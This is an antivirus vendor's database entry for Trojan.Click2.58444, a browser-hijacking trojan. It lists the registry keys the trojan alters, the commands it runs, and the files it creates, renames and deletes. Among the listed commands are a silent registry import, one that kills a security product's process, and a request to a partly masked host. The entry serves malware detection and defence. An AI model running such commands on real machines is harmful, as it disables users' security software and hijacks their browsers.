Trojan.Click2.58444

Trojan.Click2.58444

Added to the Dr.Web virus database: 2013-06-18

Virus description added: 2013-06-21

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Classes\lnkfile\shell\open\command] '' = '"%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE" http://www.hao123o.info/'

Malicious functions:

Creates and executes the following:

Executes the following:

'<SYSTEM32>\rundll32.exe' advpack.dll,DelNodeRunDLL32 %HOMEPATH%\Start Menu\Programs\Internet Explorer.lnk
'%WINDIR%\regedit.exe' /s "%TEMP%\TempIE.reg"
'%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://www.hu##awa.com/bai/get.asp?ma############################################################################
'<SYSTEM32>\taskkill.exe' /f /im ZhuDongFangyu.exe

Modifies file system :

Creates the following files:

%HOMEPATH%\Start Menu\Programs\.ico
C:\Internat Explorer.url
C:\.url
%HOMEPATH%\Start Menu\Programs\Internat Explorer.ico
C:\RegTemp.txt
%HOMEPATH%\Start Menu\Internat Explorer.ico
%HOMEPATH%\Start Menu\.ico
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internat Explorer.dll
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\.dll
%TEMP%\TempIE.reg
%HOMEPATH%\Desktop\.dll
%PROGRAM_FILES%\Internat Explorer.url
%PROGRAM_FILES%\.url
%HOMEPATH%\Desktop\Internat Explorer.dll
<SYSTEM32>\6.ico
<SYSTEM32>\7.ico
<SYSTEM32>\8.ico
<SYSTEM32>\5.ico
<SYSTEM32>\2.ico
<SYSTEM32>\3.ico
<SYSTEM32>\4.ico
<SYSTEM32>\ba1023.ico
<SYSTEM32>\ib4856.ico
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\get[1].asp
<SYSTEM32>\12.ico
<SYSTEM32>\9.ico
<SYSTEM32>\10.ico
<SYSTEM32>\11.ico

Deletes the following files:

%TEMP%\TempIE.reg
C:\RegTemp.txt
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\get[1].asp

Moves the following files:

from %HOMEPATH%\Desktop\Internat Explorer.dll to %HOMEPATH%\Desktop\Internat Explorer.url
from %HOMEPATH%\Start Menu\Programs\.ico to %HOMEPATH%\Start Menu\Programs\.url
from %HOMEPATH%\Desktop\.dll to %HOMEPATH%\Desktop\.url
from %APPDATA%\Microsoft\Internet Explorer\Quick Launch\.dll to %APPDATA%\Microsoft\Internet Explorer\Quick Launch\.url
from %APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internat Explorer.dll to %APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internat Explorer.url
from %HOMEPATH%\Start Menu\Programs\Internat Explorer.ico to %HOMEPATH%\Start Menu\Programs\Internat Explorer.url
from <SYSTEM32>\ib4856.ico to <SYSTEM32>\System.exe
from <SYSTEM32>\ba1023.ico to <SYSTEM32>\abrun.exe
from <SYSTEM32>\abrun.exe to <SYSTEM32>\hnq11bhx.exe
from %HOMEPATH%\Start Menu\.ico to %HOMEPATH%\Start Menu\.url
from %HOMEPATH%\Start Menu\Internat Explorer.ico to %HOMEPATH%\Start Menu\Internat Explorer.url

Deletes itself.

Network activity:

Connects to:

TCP:

HTTP GET requests:

www.hu##awa.com/bai/get.asp?ma############################################################################

UDP:

Miscellaneous:

Searches for the following windows: